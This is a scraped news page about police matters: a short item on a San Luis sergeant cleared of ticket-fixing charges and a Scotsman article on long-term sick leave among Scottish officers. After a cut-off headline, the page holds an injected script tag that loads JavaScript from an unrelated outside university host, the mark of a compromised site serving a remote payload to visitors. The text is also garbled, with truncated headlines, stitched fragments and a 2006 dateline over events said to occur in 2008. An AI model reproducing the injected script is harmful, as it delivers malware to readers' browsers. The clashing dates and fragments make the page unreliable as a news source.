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NEWS > 24 July 2006

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Cop Cleared of Corruption, Uni
A local police officer fired for allegedly fixing tickets has been rehired at the San Luis Police Department. Sgt. Earnie Lugo has been cleared of the allegations against him. The City of San Luis fired Lugo in December 2008, accusing him of wrongfully dismissing seven tickets.

A law enforcement union called AZCOPS represented Lugo in his appeal, and the union blames acting police chief Capt. Javier Nuno.

The hearing found two of those tickets, which were criminal citations, had in fact not been dismissed. Reports show Capt. Nuno still recommended Lugo lose his job.
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Police representatives say abs<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Scotsman - United Kingdom
24 July 2006
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Police representatives say abs

One in 50 police on long-term

NEARLY 350 police officers in Scotland are on long-term leave due to stress, injury or sickness, prompting demands for an increase in front-line staff.

Police chiefs have admitted they are unhappy at the high number of long-term absentees in the service - the equivalent of taking away half the officers in Northern Constabulary.

Long-term sick leave is defined as 28-days' continuous absence by most forces. According to figures obtained by The Scotsman, some 348 officers are on long-term leave - 2.2 per cent of the national force, or one in 50 officers.

In Strathclyde, 178 officers are on long-term sick leave, 27 of them due to stress. In Lothian and Borders, the equivalent number is 51, with 13 directly caused by stress.

This amounts to a £10 million drain on the force's annual budget of £1.1 billion.

Peter Thickett, director of human resources at Lothian and Borders Police, said the service had to do more to improve the way it looked after its staff.

He said advances had been made, such as the introduction in his force of mental-health checks for staff exposed to unusually traumatic experiences, such as road crashes and child pornography.

But he went on: "We do have high absence rates. However, we compare reasonably well with other public-sector groups, particularly other emergency services.

"We cannot make the demands of the job go away, but we can try to get better at what occupational-health resources are available and how managers can be aware of signs of difficulty at an earlier stage."

The Scottish Police Federation, which represents 15,000 rank-and-file officers, said sickness rates reflected the growing burden on police, with extra demands such as closer monitoring of sex offenders and the growing threat of terrorism increasing pressure on officers.

Its secretary, Joe Grant, said an increase in the number of attacks and a cut in the number of officers dedicated to responding to incidents was taking its toll on officers' wellbeing, and he called on the Scottish Executive to fund more front-line police. "There are strong links between stress and the level of manpower available, and the amount of work officers are having to do," he said.

An Executive spokeswoman said: "The last Her Majesty's Inspector of Constabulary annual report showed that 4.5 per cent of police officers' and 5.2 per cent of support staff's working days were lost due to ill-health - both are improvements on previous years.

"At 31 March, 2006, there were 16,221 whole-time equivalent officers in Scotland - an extra 861 over the past three years. There has also been a 1,208 increase in whole-time equivalent support staff in the same period.

"It would be wrong to suggest that more staff are going off sick because of staffing shortages.

"However, we agree that more needs to be done to reduce the proportion of working days lost to sickness. We welcome ACPOS [Association of Chief Police Officers in Scotland] targets to reduce the proportion of working time lost to sickness."

 

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